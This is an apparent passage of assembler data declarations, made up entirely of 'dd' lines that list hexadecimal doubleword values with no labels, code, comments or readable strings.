		dd 0B60DA047h, 0E3C098Dh, 0C09CD99Bh, 37044A61h, 0D9C800E9h
		dd 883F90CEh, 745D4013h, 0BE69B87Bh, 0B3E0C47Bh, 81018551h
		dd 586137A2h, 9DE23E3Ch, 0C126F64Eh, 56673228h,	63A106CAh
		dd 60BC1958h, 7AD55A56h, 8856B25Ah, 866B4A47h, 43FDD872h
		dd 0B1A32F12h, 80B83F5Fh, 9863D07Ah, 8507E811h,	4528B4D5h
		dd 693DE7D2h, 0EB34C993h, 9287CC2Ch, 0F61B9775h, 0C90131ABh
		dd 49582352h, 0E6FFC62h, 570096A5h, 0BE239F7Bh,	781A8464h
		dd 0DBC1AC19h, 0EB2F97CFh, 312BD95Bh, 3851645Fh, 9CE1AA5Bh
		dd 0A22AFD69h, 96081DEh, 9CF0AAE9h, 7BFA7FDAh, 762A96FCh
		dd 0E17923F3h, 8C200EA6h, 53FD9D6Ah, 0C375184Fh, 0C4E6D35Eh
		dd 0A4335AC5h, 0D2C9D0B5h, 79B92BF2h, 0A4233DACh, 76A55282h
		dd 8EE428EDh, 40381417h, 0E7B45633h, 0A87911E3h, 0B3A9F014h
		dd 0E6AA8169h, 0C158AEA9h, 0CD7C66D3h, 485D9B22h, 701B8705h
		dd 0A927172Bh, 6F9F404Ch, 0DC828E0Dh, 0EC8F26D9h, 0BE9A01D0h
		dd 0FB08B898h, 7D559CB9h, 1270EB9Ah, 0F1FB9C26h, 0B0462C95h
		dd 4121B8F8h, 689F376Dh, 35A783BBh, 3B7CC682h, 0D5E8317Ch
		dd 0D8B3DE44h, 93505C55h, 0D19DFF43h, 0F672E7F7h, 58682651h
		dd 0DB8E34FCh, 0D57DC62Ah, 24E37D39h, 0DF2EE541h, 0F64B5698h
		dd 0FF9A0934h, 0C328E4FEh, 0C0E6939Ah, 0AF49385Fh, 0F748B657h
		dd 0E49A2AE1h, 97B2766h, 0F119DF1Bh, 0DFB06C54h, 64948801h
		dd 7139A9DBh, 0AE755451h, 2B57CFD8h, 0C83A9D19h, 9381F3CAh
		dd 509D880Eh, 252EBE81h, 20ADE9EEh, 51E1BB93h, 420B837Ch
		dd 6D3F7E40h, 0D34AC5AFh, 932FCC9Ch, 0CE1DA89h,	580117E1h
		dd 0C8F70A16h, 0AC9EA011h, 5A21D3ECh, 65165B82h, 8F158B45h
		dd 78A9DA53h, 0D3D44339h, 1E612E4Ch, 4485D96Ah,	7180B2FCh
		dd 8EED98C4h, 0A63FE7FCh, 9DFCDAB7h, 2E4B274Ch,	0DA9CC70Ch
		dd 0A64B785Eh, 0A0F97A02h, 0FE3BD8DFh, 775464D5h, 67919E1Dh
		dd 570BDD71h, 0EF51DBF0h, 23DAC41Ah, 59D39883h,	0ADF5A6FCh
		dd 198E6275h, 0C2B63C28h, 8D54ABD6h, 35512C7h, 5B25090Eh
		dd 0C8C798E1h, 963A9689h, 8BF32ABDh, 0AD9E70C4h, 6A849A02h
		dd 5404FE3h, 0A72C7967h, 4823B52h, 0F9D18BA7h, 637AE390h
		dd 2E860F0Ah, 8C0065CEh, 7C28C958h, 4F69C786h, 79D51AADh
		dd 48F9F767h, 757F3F38h, 65928464h, 0B1A87C44h,	76F05F9Ch
		dd 0B3582516h, 898C7E1Dh, 647ACD11h, 0D60853A0h, 2F1E8052h
		dd 5BD5FAC7h, 0AC96B7BAh, 99FEEAB6h, 26FF9ABh, 6DD149F6h
		dd 33F723B7h, 637601D6h, 0C48F046Dh, 9477532Bh,	0ABD0D8Ch
		dd 0EDDF413Ch, 4A45021Eh, 15C01381h, 2F8C1F36h,	40D22C1Ah
		dd 0D799826Bh, 7036E796h, 0A7C80D6Bh, 0C8C1649Dh, 9A294990h
		dd 60098702h, 42A57A0Bh, 0C521E7D4h, 0B77B3783h, 847080D8h
		dd 81DB7E86h, 0CE68DE5Dh, 0FF8DE556h, 0AB465E1Dh, 75A1FD31h
		dd 0DECACB90h, 2B5F5C6Ah, 5DD65CFBh, 0ABB60078h, 1E2F33F7h
		dd 4527E52Bh, 4A5D7F16h, 24992467h, 74071C9Eh, 0C31685E9h
		dd 9303134Dh, 8D276C9Fh, 2AA45197h, 0ADD38AEAh,	22BBD757h
		dd 981ABDFDh, 8F499DD9h, 34EF5A2Dh, 0C1AD5B96h,	9FBCDB48h
		dd 2454DAADh, 90D29CA8h, 65DF38BEh, 4C7EAF69h, 46673845h
		dd 0F67882EBh, 0A4D0574Ch, 910AC390h, 46E10BB6h, 3B11DA41h
		dd 4D104BF7h, 0C2E8E226h, 29814E7Ah, 849D1B7Dh,	0A6D7BD11h
		dd 6579193h, 0E4DF7BE1h, 0E83FC141h, 0F0296D41h, 0C9433D2Dh
		dd 0C69C1859h, 3A30006Bh, 3F50D26Eh, 77EFCC6Fh,	739E10Fh
		dd 97765246h, 2FEAEBE5h, 1A512B44h, 0CE85C29Dh,	1472BFEFh
		dd 518C4C95h, 57ED52A8h, 1C9EBDh, 0BE8EFEC0h, 6E9D29EAh
		dd 493FA7BFh, 0C0A4BDCEh, 3178C0CCh, 43B1B63Eh,	0C65333CBh
		dd 510FE3D6h, 0F41C3F0Bh, 1665A969h, 5E4A03D6h,	0DECA1D1Eh
		dd 4C3D0D45h, 0AA401FDFh, 9210A716h, 1EE4711Ah,	233BCBACh
		dd 5AAF7AACh, 0AD544FB0h, 600A4503h, 0F5C036F7h, 0CCBE4DB4h
		dd 9E97B91Fh, 0E39E1EFCh, 0F131D706h, 0CCBE5C96h, 0ACE44207h
		dd 6E7BA64Bh, 0D76C4AB5h, 6FBFDE10h, 0B78B9FCAh, 0F50BE416h
		dd 0A37151ECh, 6A5332D6h, 728CE78Ch, 65E21BCAh,	0B399C961h
		dd 19AE64C4h, 5CEF1643h, 7372B36Bh, 0E5FC27C1h,	9EBB9263h
		dd 0AB1B063Dh, 3CDFAF58h, 773949F7h, 40072A53h,	29D193D1h
		dd 0F9960D9Ch, 9E9C4B50h, 196A4FA4h, 0E2298ACFh, 0EA5830E4h
		dd 309C707Eh, 0EAC36619h, 0B15F7A21h, 0E833FEF3h, 0CD49779Ah
		dd 7B1CBD97h, 4D268A66h, 1814CBECh, 83597B4Dh, 0A7C2925Dh
		dd 0A963BF4Dh, 3A7BF5C4h, 1A1A4973h, 0E9F4FFBEh, 3BB1C694h
		dd 0B6118571h, 967B6976h, 0F95CACBBh, 3BDDC0A3h, 0F3C72057h
		dd 55CDD0CEh, 0B407557h, 0F3B1BE0Ch, 17A37F1Dh,	3A6DCA25h
		dd 0FB42F149h, 4D6F0A55h, 0C93005E3h, 48A110BBh, 4929875Bh
		dd 20CFC1h, 2D220359h, 0F9B95B0Eh, 73D465A8h, 3FCD0D1h
		dd 706BB41Eh, 0F014FF85h, 53FAC544h, 3390E6D7h,	0F0E3BA63h
		dd 0DED40DD1h, 0A893F6C4h, 498C42A1h, 0C0B5476Fh, 52270B62h
		dd 0F2A63E8Eh, 3019FAFEh, 0FC39F950h, 0F3301206h, 1284CFDBh
		dd 0EB64F44h, 9B0D057Eh, 425B1182h, 516900B3h, 804458ADh
		dd 3878D590h, 4C478D21h, 7A843317h, 0EC40BCA7h,	9EFB14Dh
		dd 8A18D2AAh, 0D197370Ah, 49553138h, 5629C666h,	82D0C842h
		dd 83A9AD4Bh, 451356F0h, 3EDC66D3h, 0C390C33Fh,	0B98FE24Ah
		dd 95798709h, 7D8FC859h, 6DEF6C14h, 65CB86F6h, 0D170AE9Fh
		dd 17D164AAh, 196E19C7h, 71F74F63h, 7A81067Bh, 19FC3DA9h
		dd 5DD5F0FDh, 0E997FED9h, 0A38EC7C6h, 0F80D9BEh, 6F053462h
		dd 434837C3h, 89F5C115h, 3CA089CCh, 4A23EB03h, 0FD922406h
		dd 0AB4BB52Fh, 2E733501h, 9D5D108Ch, 4636161Bh,	0EE681B3h
		dd 0B1719EA2h, 0AD6515A4h, 38F3BB38h, 88A861CBh, 87D0E34Fh
		dd 0A9505A26h, 5A621830h, 0D9223799h, 5F9D1191h, 7CE6D070h
		dd 6DD050C0h, 55F21184h, 0D110B121h, 0F68D8685h, 0C2E7FAC5h
		dd 0C309212Bh, 35B02002h, 4F7BC9A9h, 0E026F98Fh, 27575A6Dh
		dd 0C19498E9h, 8C0F54C8h, 0F2432614h, 717F497Fh, 90F14DFFh
		dd 0B0224915h, 50E19502h, 91D3EDACh, 0C2F729C6h, 559F066Ch
		dd 675510E8h, 0E0F6044Bh, 0BAF85FDEh, 0AD993506h, 0B695927Ah
		dd 0CB397823h, 0FD417F3Bh, 0E7BB474Bh, 8C78B471h, 1857361Bh
		dd 0BCE289D2h, 0CBF48451h, 5AD9B2D0h, 7A79808Ch, 0DA52F9A5h
		dd 0F32CA343h, 445668A6h, 0C509818h, 0D684049Ah, 7EE1D465h
		dd 0D87DE0EDh, 0ABF1DEDCh, 83275D31h, 0ADD7F5A4h, 0E25696A6h
		dd 0F9E291A6h, 0D42A711Bh, 9EE0DFE7h, 0C3B04BF5h, 585A4828h
		dd 0E77A9E85h, 0B9D15FCFh
		dd 0A8740CB8h, 0C5C79263h, 946018CAh, 0A3FD5090h, 33B79AA2h
		dd 0D8A7084h, 1A18FBE9h, 557285A0h, 8F928684h, 0C33D06ECh
		dd 0F36E1128h, 0F7CD58B3h, 490E8422h, 3A412674h, 13EB3059h
		dd 0DF376F01h, 0CE40DE87h, 495B4F08h, 0F086D912h, 69606221h
		dd 0CFBC37CBh, 2C92634Fh, 44B70B7Ah, 4A9FEA80h,	0D50A8330h
		dd 465696EDh, 1B7274B0h, 8CA35EB1h, 83DF1B5Fh, 11D9B883h
		dd 0FA101F53h, 0FAD087A5h, 0E0B7F88Fh, 0D8693079h, 26EB21C9h
		dd 5A3FCC12h, 9F562F62h, 379B97E4h, 37104659h, 5F7EACF8h
		dd 7B809A28h, 3471033Eh, 8D838641h, 45510D1Fh, 9108F574h
		dd 5B9326D1h, 5AD5288Ah, 0CAC26BD6h, 906F4C6Bh,	82BB1DFFh
		dd 0ED672997h, 0D1CF62E2h, 0D8FAAE28h, 82B3B73Fh, 7F06A942h
		dd 67465B9Ch, 0DF6EDBB2h, 0CBC68B2Ch, 5DB862D0h, 5A27D981h
		dd 6513CEC7h, 0F78889CFh, 0C93BFF1h, 7DEECF74h,	0AF4E2467h
		dd 0FB56A68Dh, 375F973Fh, 0D269E9E9h, 5BCD3D21h, 0D92D2EC6h
		dd 84CB82C9h, 666C7130h, 57092B4Ch, 3E3ADB88h, 8A13B9Ah
		dd 8360DB74h, 7E936A46h, 0EC549347h, 1D430FCEh,	14156675h
		dd 0F3D3C53Ch, 0BB12C957h, 39251C3Ch, 0CDB243B4h, 0A1C52682h
		dd 47A5FBE8h, 919D4FA8h, 0D400CD6Fh, 264D1244h,	67766F68h
		dd 67E1D0F3h, 0B7023092h, 0AF21F24Fh, 0D2139C0Bh, 22572097h
		dd 7CF0AC7h, 9BCD133Ch,	0EC020721h, 25F6Dh, 654C35C0h
		dd 147C0B0Dh, 0FA76B9D0h, 156FDF44h, 2ED99777h,	0B3523C6Dh
		dd 900E521Bh, 0F3B4FFD2h, 0AE7BF950h, 4415DB50h, 61174BCCh
		dd 0DF63D205h, 0F5A4D013h, 430A120Eh, 376F4CCh,	0D5370A70h
		dd 0FFB95C96h, 18D9A313h, 0BA03CA0h, 0B31C6E0Ch, 0C5C37D39h
		dd 0AEAD4A6Fh, 0A367B343h, 89E9C6E5h, 40E0798h,	163FF7C8h
		dd 3E929E49h, 9016A1B4h, 0FEEF4A57h, 0B7FD72F4h, 0D69A1745h
		dd 0DC6575Bh, 0E7AE31DBh, 0D56F0906h, 1A7E38D2h, 0A5E21FC2h
		dd 9607B7B7h, 9FB30D8Eh, 821FCA6Bh, 0FABCA3EAh,	0AA779F4Ch
		dd 4A97CC52h, 0E2D6424Dh, 9E825645h, 0D5B49233h, 5382731Eh
		dd 0BBAE444h, 0D1E902B4h, 0F9A85970h, 97D02160h, 0C8AC7D9Bh
		dd 529E0E90h, 0F5826DFBh, 160CC28Eh, 0EFD7F7B3h, 0AB31E41Dh
		dd 151A1564h, 1E35EF4Ah, 0BA199A88h, 0D6D42454h, 0D10E8B27h
		dd 0A4ECD24Ch, 0DF13A799h, 98A0FB9h, 61002D2Ah,	92DE1FFEh
		dd 3DA7BFD6h, 0B2F65A40h, 18DD6F4h, 58F81D2Eh, 0A57D42BBh
		dd 0D50D6702h, 0A12E3DB8h, 4F2C7EA4h, 64801AB6h, 59194A86h
		dd 320204D1h, 0E4D9B5EEh, 3C2801BCh, 0FEA0B3C8h, 0F2F3B1D2h
		dd 12629DB1h, 8EF5A873h, 752591E4h, 0E254D84Dh,	8117E5D5h
		dd 28416A10h, 4C7A5D4Fh, 0A278F1CCh, 298452E6h,	954073DEh
		dd 5D6F98F9h, 9458DEF0h, 42B7CD29h, 70A5322Ah, 0F251C8EFh
		dd 0CC14C88Eh, 0A84BAEADh, 0D0EC5681h, 7894E6ECh, 243C0323h
		dd 0B621C243h, 0EE26F70Ch, 301B3047h, 0FA5201Bh, 0B470E8F6h
		dd 0C9A5DD9Eh, 63A8AF2Ah, 1F59B587h, 6EFDFD43h,	799DDD6Bh
		dd 187BA621h, 5D9706B9h, 0E9775807h, 237E8A29h,	0CF7920C7h
		dd 0FF100DFh, 33A6381Dh, 111ADC7Ch, 606E0A79h, 28CD2C55h
		dd 6C5F44ADh, 73A2C4FCh, 0F27E5D6Fh, 2F537CB8h,	6F3B7C02h
		dd 62F8EABCh, 7BF0D524h, 8A57EE5h, 4613E99Bh, 63F80B1Bh
		dd 0C1A2F7A7h, 0C8A70B81h, 4634795h, 57073564h,	1C28916Ch
		dd 1D3D908Dh, 3DB5303Dh, 0D47C07Dh, 8DBB995Ch, 0AC5132BFh
		dd 57F020D8h, 9503FC29h, 923A9683h, 18B69F69h, 0C747046Fh
		dd 30E6EC1Dh, 0C6BD37D1h, 8B930954h, 0F5353C5Eh, 0FED25E5Ah
		dd 0D3B3CB69h, 11DB0CDEh, 80D67469h, 79E95D1Ah,	771C011Ch
		dd 0E1629A83h, 8CA2EB1Eh, 533CA33Eh, 0C396F165h, 44366CC5h
		dd 64DB708Bh, 7225CF93h, 0C9B71263h, 0CC2E3AE7h, 82A8CF26h
		dd 98E569BFh, 0FF397480h, 2CB407FFh, 85F97984h,	41E9E439h
		dd 0AF0A8B7Eh, 3D88ABACh, 9FE46450h, 0B18999E5h, 0BCF187E5h
		dd 935417D8h, 8256C0B4h, 0D66F4EF1h, 0E9F08523h, 30BD51ADh
		dd 0B884209Ah, 0DC8BC8B8h, 42178D9Ah, 0D9696926h, 0A48D6515h
		dd 57FDD5B8h, 0FC29C5CDh, 0A479B86Bh, 0AA2059EAh, 447D7BC8h
		dd 54B52D9Eh, 8386DA26h, 8382A679h, 0C581D26Bh,	0FE05241Fh
		dd 0E3753DC5h, 91C52B7h, 0DDB0A8F7h, 0D9625424h, 3B02B629h
		dd 1222A1EFh, 86FD3812h, 489F3D68h, 8AC37CA6h, 2886D9D3h
		dd 5E384FA3h, 0FA858C5h, 0AACFA24Bh, 6EE097FCh,	0DC345355h
		dd 0ECC21375h, 0BEA49686h, 7B1FC531h, 3D4D79EEh, 0F274A530h
		dd 61F9F5F1h, 4844D0FFh, 0E52032D3h, 53FF87Bh, 0F78FB131h
		dd 10AE3AB6h, 0A9B4FE1Ah, 0E649CAF6h, 0BA938B8Ah, 0AF1CEE2Fh
		dd 4F09364Eh, 0BB56360Ch, 59CE4D2h, 0A683D63Bh,	0E6B02D30h
		dd 34613545h, 7148669Ah, 0F713A937h, 0A8447CFEh, 73567F9Ah
		dd 7DFDE5Fh, 6AA2C957h,	7F6B8761h, 9F19DD26h, 6276A03Bh
		dd 4A3B36C4h, 0F2D0E3C9h, 0E7D7CBB7h, 3BAF8B67h, 3D937341h
		dd 1A00BED6h, 0E55578ACh, 724844B3h, 0CF1C885Eh, 0A2846F03h
		dd 2A8DEE13h, 1B2BA605h, 191F40DFh, 2DEAFC51h, 20CFEBD5h
		dd 5521FB1Ch, 1C5136E7h, 761F2AA5h, 575280FAh, 8FDFF228h
		dd 636F6BC0h, 8893B72h,	8777AA67h, 0C89B130Ah, 0DBE58E7Fh
		dd 0BADFA15Ah, 7A0FE6CCh, 830ADAF4h, 0AC252CFCh, 986A7637h
		dd 2881558Ch, 0D5FC3CECh, 0A57AD32Eh, 417174BAh, 1E678201h
		dd 97F7AF23h, 7276162h,	0F7DAA7C5h, 2F4E7C24h, 53DEC17Fh
		dd 0E1D74938h, 29E6CFB2h, 6F9C5EC8h, 0FDA27FE9h, 3642FCADh
		dd 96CCAA68h, 6D7EF4D1h, 777A6E9Eh, 8DF571A4h, 0BEAACF05h
		dd 730991AAh, 0A1CB7A80h, 8F52AF14h, 0D9209A4h,	1F51C8Ch
		dd 7DACBFDh, 38C65385h,	0B6F1739h, 825631FEh, 2FAEC76Ch
		dd 96971AB0h, 0B5B17115h, 0A295C81Dh, 9069FDA4h, 83B1F38Ah
		dd 5613C56Ch, 0A9765A6Ah, 507E7308h, 0E87AD774h, 447CF0CFh
		dd 96FF61A7h, 0BF855739h, 53630E18h, 10332A21h,	83474F80h
		dd 0F7B4F74Dh, 3349387Bh, 18C00883h, 0AEE3423Ah, 96BBB668h
		dd 3D94CC5Eh, 63A9966h,	9FC1CE98h, 13176F18h, 514CB858h
		dd 219B1C06h, 8B7E9EDDh, 42188AD5h, 1E27B311h, 1C7E87EFh
		dd 355E7815h, 0E822E31Bh, 79C9088Ah, 610680Eh, 5B244C9Fh
		dd 3C31B866h, 390592EAh, 7BC5D5DCh, 0BBAD52B2h,	5968F7E4h
		dd 0EC711586h, 0C2F05236h, 0D922D123h, 9C648FFBh, 0C272B3FBh
		dd 0D8BB7C51h, 0A70B10B8h, 0D9D6E2D1h, 38782F39h, 9DD98D22h
		dd 0E867006Ah, 0B1FDD740h, 2AB7DCCAh, 118A11B0h, 18980B73h
		dd 0D4B28D6Fh, 0BEFE8962h, 92C0149Dh, 72CA021Fh, 0EE4D4F37h
		dd 0A4BC9461h, 31C83657h, 2785A049h, 0E1303F39h, 0FDC0BE9Bh
		dd 409BBF06h, 74E6F113h, 2FD06E20h, 0B0140DCBh,	3F4E604Fh
		dd 5DE175FAh, 760AEA40h, 0D7400CD0h, 4F39D69Dh,	1B669488h
		dd 9AE0EEADh, 72C1B351h, 60E0F486h, 0A2E0D552h,	6BE310A2h
		dd 0C1631E0Fh, 31DB05A6h, 0D2E6DCA9h, 5C3E72A3h, 0E0576BBAh
		dd 349BC808h, 3690172Fh, 0DF3EBB4Dh, 3B208E73h,	0D4A10915h
		dd 5D5B8353h, 0FD850F91h, 2DE0F5B0h, 755A263Ch,	2832A87Dh
		dd 0CE6BAB2Fh, 46F2FC90h, 8D025E05h, 96BD6195h,	9E7626E0h
		dd 88A72828h, 0D316F23Fh, 57F4CCC2h, 733F0EDCh,	0D95B3112h
		dd 0CCEB5FFCh, 5AA74838h, 5DA14B75h, 6251143Dh,	682A2D34h
		dd 263CC90Bh, 2DF52686h
		dd 0EE6A191Dh, 0A2D09831h, 1B649DE5h, 787F9204h, 0EF6FA6Bh
		dd 7F2B8063h, 0D348331Bh, 0F12AA95Bh, 80AA9778h, 196A0D96h
		dd 0BF790695h, 4C14CEF1h, 15295503h, 990196E4h,	2220F091h
		dd 0CB62B7DDh, 0C8E96A69h, 0CE801901h, 0B77C4417h, 0E15B7A3h
		dd 40379088h, 0F7DED6EFh, 7928D12Ah, 782937A8h,	0DC5235A4h
		dd 4A60C227h, 9DE5095Bh, 0BA80ABC7h, 0D5E085E5h, 5F726550h
		dd 0DE2ED39h, 4BC33491h, 0C6B51019h, 69E00CB2h,	19B54822h
		dd 5EC0A364h, 0C6E45AD8h, 0EE0F48BBh, 0A7919088h, 8BE660D6h
		dd 718D3EFEh, 0B77AB012h, 7348C0D7h, 31CBE1D2h,	0DDBBD093h
		dd 0BDC849ACh, 0E5052AC5h, 0C070108Bh, 4DE0CC3Ah, 80B84AAh
		dd 503ECED1h, 0B9349089h, 0F786335Fh, 18876FA5h, 0CA8CB5BFh
		dd 819B2A7Ah, 8A8D2CCFh, 0B0D44693h, 0B030CC8Dh, 498AACh
		dd 0E4063557h, 4615BD86h, 510431DDh, 9E569262h,	0C58AD6EEh
		dd 0B321A137h, 2A230E61h, 5D55AC47h, 0E0EBDF48h, 0B6201FF3h
		dd 0B630A52h, 35C0EFFh,	8B3BC92Ah, 9CA3F4B9h, 7BE6B201h
		dd 95C6E739h, 96BC4864h, 525A0C56h, 564CB756h, 3A3381B9h
		dd 1F1AFB5Bh, 3252A066h, 7D0560A3h, 33222678h, 0B21D29E7h
		dd 3E41F259h, 23B34CEFh, 0C8E7CECBh, 0C9089117h, 6129AFFFh
		dd 5D2EF03Fh, 77E29F75h, 0A2F5AA32h, 65E3F834h,	382DD68Ah
		dd 0D69F83C6h, 1F8C5EBDh, 5E006561h, 0E5DFAC4Dh, 87501D50h
		dd 0F13C07C5h, 9DA234h,	0EC175C32h, 0AE2851CCh,	8FC6DCB2h
		dd 4E3563F5h, 0BC2D77A3h, 190B0569h, 0D720F94Ch, 8C1824C2h
		dd 469FAB80h, 0B15B3453h, 256D3C2Ch, 0DC197DDDh, 0CE55D1F9h
		dd 0CA7FFEDBh, 1EF4F434h, 84764430h, 0F0451BC2h, 241E135Ch
		dd 0BEAE8753h, 0D86998DDh, 46C0F5A9h, 257B9D3Ch, 64772B18h
		dd 75F238A3h, 4FE7F741h, 0EF52B3ACh, 0D97C68Ah,	11F2397Ah
		dd 0A0284A47h, 97300A53h, 0BFC10E42h, 450B2675h, 3C7E9E10h
		dd 40CDF0DDh, 7DA46C3Bh, 0B16ABA30h, 49E26BC4h,	61E5B35Bh
		dd 0EDF33E56h, 9739F94Fh, 72809AC3h, 0D1CACF2h,	6DFB61FCh
		dd 0FADF1BB5h, 0DBB1C6CDh, 0C6E5F74Dh, 9ECDF07Fh, 4E26C613h
		dd 17D2DAD4h, 90BC33D4h, 83B6B798h, 3237813Bh, 0CA98E9DBh
		dd 0E65A9B07h, 8C56AC04h, 40687921h, 0F0DD9700h, 0A04FA38Ch
		dd 2C6D4E9Bh, 351FD72h,	0AA566843h, 91863B55h, 3B2A16C1h
		dd 88FEBAB6h, 0DDF6D8F0h, 73CA162Dh, 4065FDC3h,	0B854F24Ch
		dd 4EEE4FE6h, 0E5B1A14Ah, 0A809275Eh, 0B217FDCBh, 67E19F05h
		dd 83822D91h, 0AF78A14Fh, 1848BB6Dh, 0E8637720h, 0F55F2F3Eh
		dd 15896C47h, 996D016h,	328D1DD7h, 508D656h, 4EC426D9h
		dd 133C099Ah, 0E1C46D0Ah, 0E81119EEh, 8C37AEF1h, 439639D6h
		dd 7A1AB7FAh, 637E936Eh, 0CD2F1669h, 0B3F1418Bh, 93C2FEBEh
		dd 0BC20A456h, 0B0EA9341h, 0CCD3BDF7h, 0FAA59951h, 653EB67Ch
		dd 5648CDEAh, 0BEA5AA59h, 4A7193F1h, 63441741h,	6C4B7058h
		dd 5697E049h, 0D3AA8946h, 7513AAB1h, 82D0E4DFh,	0DD4F5A24h
		dd 1BCEE784h, 9FA67E8h,	6A8508ACh, 37EDE2FDh, 2C5D4B21h
		dd 4BD4CAACh, 82D131Ah,	1CB6EF8h, 0ACD350BAh, 2E3070B6h
		dd 5F0B925Dh, 0B653EC04h, 8D2893h, 0DAE806C2h, 1554913Fh
		dd 0DB73C42Eh, 0DBEC7FEDh, 0A4DE2500h, 0E0C613EDh, 8AFBC20h
		dd 0E83F593Ch, 0D07F564Bh, 4C855DEFh, 10B6225Ah, 0B37B17F2h
		dd 0CEB5D541h, 54A3D159h, 799050C9h, 0DBD75186h, 73231751h
		dd 84B132AFh, 2C10451Dh, 0E6DD5219h, 0F6A620ABh, 1790D50Ch
		dd 8A2A73ACh, 0F18B0388h, 0A66CEF79h, 0FDB8014Dh, 785CD7D2h
		dd 96B9142Ch, 3D9BAD7Dh, 10A1033Fh, 0B33024B3h,	5026CD4Ah
		dd 1CEE34A8h, 450980Ch,	0ADF3D8B9h, 62867A28h, 71722263h
		dd 88F7125Bh, 3AB13C79h, 37B89916h, 0C530F658h,	3CF2EDF8h
		dd 51347A57h, 990F0BF4h, 599AC340h, 19B6565Ah, 99521549h
		dd 0F1DEB0C6h, 4C5087F1h, 8DFD7A7Fh, 2A7460F5h,	0E2E6406Dh
		dd 0F3FDB99Dh, 91A09197h, 4C4D566Fh, 179292EAh,	104F57C9h
		dd 0C3A42595h, 52A5CA3Eh, 9FC48D5Eh, 0BBF1E9C5h, 55CB26FBh
		dd 9E1235D1h, 0C146F5F9h, 0D76C3070h, 223E85E8h, 8131D9CBh
		dd 0EB5C7A9Fh, 0B1C423A7h, 0ABF01238h, 0D056BC4Ah, 0F912D90Eh
		dd 0E56D165Ch, 170E7DFAh, 0DF3BB250h, 5AC6EFF4h, 7953F143h
		dd 0F2BCDF5Ah, 9638C9C8h, 0F0311507h, 4607B090h, 8A4523CEh
		dd 2FD03CACh, 0E7507640h, 0F68EEE8Eh, 14C48C1Fh, 93D6022h
		dd 32D935CDh, 852C4A59h, 8EDC1CDFh, 0B321AE9Bh,	0B1D4B089h
		dd 3A0AEh, 98327A51h, 7DA28006h, 71126292h, 6E57ADC2h
		dd 0CFB703BFh, 32AF5EEEh, 0D3C7FB0Dh, 5C39A3F1h, 60EB9215h
		dd 0F6943C5Ch, 16431907h, 0AD623656h, 0F131CDFCh, 72A5EA52h
		dd 0E092B3F7h, 966CE743h, 0C00D485Bh, 0FB67E90Fh, 0BF0A942Eh
		dd 30C854DFh, 8B8BAB5Eh, 5B5E562Dh, 8E3B55CDh, 84CA2902h
		dd 0F7A8C88Dh, 0AC7754B8h, 0BDB31C4Ch, 35207C45h, 53A9A5A2h
		dd 0F65C3075h, 0C2A74FBFh, 0EA7564E3h, 0B25796B5h, 5B16024Eh
		dd 10B586FAh, 10FC6E31h, 29CFEA00h, 96568C69h, 52F5120Fh
		dd 0EF0823CBh, 8A2E7749h, 792DD82Ah, 0C1BB3D6Ah, 161E5656h
		dd 9344B8BAh, 0E38013Ch, 8FF21EA2h, 92670542h, 8BFB9C1Ch
		dd 0CCA7C0A7h, 93E92DE2h, 28D4DA35h, 8B03CD4Bh,	403725DCh
		dd 0A6654C9Bh, 95D724B6h, 14D83935h, 0E8450BF2h, 9B9A6DF7h
		dd 446E0991h, 0D0B43272h, 0DB2FF613h, 2082C4FCh, 55714AFFh
		dd 954AB236h, 0B6966CE2h, 0CDD9E656h, 39477C54h, 207ACDBBh
		dd 0FE0EB330h, 57DB7B59h, 3FF242B7h, 0D976776Fh, 572E7A34h
		dd 0B5669967h, 0F0208618h, 0FEF804B8h, 0F49CDB1Eh, 8423059Fh
		dd 0A973B342h, 0B8755218h, 0CCF8312Dh, 0FE47B6A3h, 2A474CF0h
		dd 0F93B2193h, 5D1AC0D1h, 0A66414A5h, 0F6A3554Ch, 0F1BFC32Dh
		dd 4921BEE2h, 77ABC35Ch, 0F64CB1C7h, 0C3B8FFC2h, 5647C8DAh
		dd 0CFA09578h, 91530060h, 6C4C8BD1h, 60626ABAh,	1554A78Dh
		dd 0C0012BF6h, 0A1C1ECC1h, 86DBBA19h, 15527B4Fh, 82F15192h
		dd 21587771h, 0AE29DF3Bh, 2E49871h, 0CCD71654h,	794B18Ah
		dd 0FD0EB727h, 0C00C3D99h, 0C26BA142h, 0ADD84237h, 0C62C148Eh
		dd 0FE395F46h, 11E668D7h, 0DBE1DC2Bh, 6E24770Dh, 0E712B320h
		dd 0A2DED479h, 52A17022h, 4746FBFFh, 73BBDCF6h,	5224876h
		dd 37ACB28Ah, 7643E754h, 0E1C5E30Fh, 0AE647D9Fh, 4D5D820Fh
		dd 0EAE46E6Ah, 3F6092FBh, 936E6A33h, 246B8261h,	0E0BDABE7h
		dd 9F9F28CEh, 2434F4Eh,	0BB67863h, 0F0583C22h, 0FA056A6Dh
		dd 2B64637h, 52D74DBFh,	0D2B9593Fh, 0A2A5FE95h,	0A24A1703h
		dd 0AF5B0218h, 0D24E053Ch, 0B811A722h, 4227CAB0h, 0C9BCF18Dh
		dd 5C79D752h, 0E0A4EB84h, 0B78508AFh, 0D200E7C5h, 0A7045509h
		dd 0B0112103h, 0B274BB7Fh, 972E14EAh, 900B37F4h, 371535E9h
		dd 0B23E8ACCh, 47ED32B8h, 6DA48D20h, 9F2F58B2h,	360C9B95h
		dd 93CA5058h, 51716E4Ch, 0DED4A185h, 0B7F2F680h, 4DF8CCD9h
		dd 666DBD65h, 6AA347CEh, 0B664416Ah, 0DE8FAB26h, 12280368h
		dd 7CCC3117h, 3C5BCA50h, 58E3DDDFh, 9D2841Fh, 40E71E3Fh
		dd 9B5486D5h, 0FA6C331h, 85DA5FA6h, 7F2B2CE6h, 28F51B3Ch
		dd 1C185BA2h, 0A2863CB4h, 0EFB908B3h, 7C7189B7h, 0DE056D6Ah
		dd 0DD8BB23Dh, 0A7F014C3h, 0FC5361ECh, 0BDF7082Dh, 0A78A3CC8h
		dd 0C1611D56h, 341858C3h
		dd 33435869h, 0FD3FFBDCh, 56FC8129h, 86E608Bh, 0F338D5F6h
		dd 4E0284CBh, 4C214A15h, 0BD2E4425h, 4FE03A17h,	54EEDDF3h
		dd 78145590h, 7E166503h, 0C97093B5h, 3EFC1C7Eh,	5D4B9F02h
		dd 0B8F63BD1h, 0FF760EB4h, 0B1C195A3h, 77A06BA3h, 2E353586h
		dd 2124CA5Bh, 0E76FBEB5h, 8F95DD4Ah, 0CA4F38EDh, 3B2139C4h
		dd 3D6BCBA4h, 188EE56h,	53643B02h, 8DC20FC2h, 51BDB480h
		dd 0ED36A099h, 0C92E3877h, 85DC6B81h, 0AFC869A8h, 610738FCh
